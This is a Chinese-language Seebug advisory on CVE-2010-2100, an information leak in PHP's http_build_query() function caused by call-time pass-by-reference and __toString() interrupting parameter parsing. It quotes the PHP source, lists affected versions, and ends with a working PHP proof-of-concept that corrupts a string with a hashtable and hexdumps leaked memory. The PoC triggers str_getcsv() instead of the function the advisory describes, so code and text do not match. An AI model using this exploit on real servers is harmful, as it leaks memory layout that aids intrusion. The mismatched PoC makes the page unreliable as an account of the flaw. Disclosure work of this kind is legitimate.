Lucene search

K
seebugRootSSV:19716
HistoryMay 31, 2010 - 12:00 a.m.

PHP http_build_query()函数中断处理地址信息泄露漏洞

2010-05-3100:00:00
Root
www.seebug.org
29

0.006 Low

EPSS

Percentile

76.8%

CVE ID: CVE-2010-2100

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的http_build_query()函数中存在信息泄露漏洞:

PHP_FUNCTION(http_build_query)
{
zval *formdata;
char *prefix = NULL, *arg_sep=NULL;
int arg_sep_len = 0, prefix_len = 0;
smart_str formstr = {0};

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z|ss", &formdata, &prefix, &prefix_len, &arg_sep, &arg_sep_len) != SUCCESS) {
    RETURN_FALSE;
}

if (Z_TYPE_P(formdata) != IS_ARRAY && Z_TYPE_P(formdata) != IS_OBJECT) {
    php_error_docref(NULL TSRMLS_CC, E_WARNING, "Parameter 1 expected to be Array or Object.  Incorrect value given");
    RETURN_FALSE;
}

if (php_url_encode_hash_ex(HASH_OF(formdata), &formstr, prefix, prefix_len, NULL, 0, NULL, 0, (Z_TYPE_P(formdata) == IS_OBJECT ? formdata : NULL), arg_sep TSRMLS_CC) == FAILURE) {
    if (formstr.c) {
        efree(formstr.c);
    }
    RETURN_FALSE;
}

if (!formstr.c) {
    RETURN_EMPTY_STRING();
}

smart_str_0(&formstr);

RETURN_STRINGL(formstr.c, formstr.len, 0);

}

zend_parse_parameters()函数将4个参数拷贝到了本地变量,破坏了这些变量与原始ZVAL之间的联系。问题是字符串指针仍指向与原始字符串ZVAL完全相同的字符串,如果原始字符串ZVAL已被修改,就会导致字符串指针无效,指向已释放的且被重用的内存。此外由于 zend_parse_parameters()支持对象的__toString()方式,只要以http_build_query()的第三个参数的形式传送对象就可以中断参数解析。由于PHP的call time pass by reference功能,之后攻击者可以从__toString()方式杀死第二个参数并重新用于哈希表。这导致 php_url_encode_hash_ex()作用于哈希表的内存而不是字符串的内存,攻击者可以泄露重要的内部内存偏移。

PHP <= 5.3.2
PHP <= 5.2.13
临时解决方法:

  • 禁用call time pass by reference功能。

厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net


                                                &lt;?php
class dummy
{
    function __toString()
    {                      
        /* now the magic */
        parse_str(&quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1&quot;, $GLOBALS['var']);
        return &quot;XXXXXXXXXXXXXXX&quot;;
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat(&quot;A&quot;, 39);
} else {
    $GLOBALS['var'] = str_repeat(&quot;A&quot;, 67);      
}

/* Trigger the Code */  
$x = str_getcsv(&amp;$GLOBALS['var'], new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo &quot;Hexdump\n&quot;;
    echo &quot;-------\n&quot;;

    while ($l &gt; 16) {
        echo sprintf(&quot;%08x: &quot;,$p);
        for ($i=0; $i&lt;16; $i++) {
            echo sprintf(&quot;%02X &quot;, ord($x[$p+$i]));
        }
        echo &quot;  &quot;;
        for ($i=0; $i&lt;16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c &lt; 32 || $c &gt; 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo &quot;\n&quot;;
    }
    if ($l &gt; 0)
    echo sprintf(&quot;%08x: &quot;,$p);
    for ($i=0; $i&lt;$l; $i++) {
        echo sprintf(&quot;%02X &quot;, ord($x[$p+$i]));
    }
    for ($i=0; $i&lt;16-$l; $i++) { echo &quot;-- &quot;; }

    echo &quot;  &quot;;
    for ($i=0; $i&lt;$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c &lt; 32 || $c &gt; 127) ? '.' : chr($c);
    }
    echo &quot;\n&quot;;
}
?&gt;
                              

0.006 Low

EPSS

Percentile

76.8%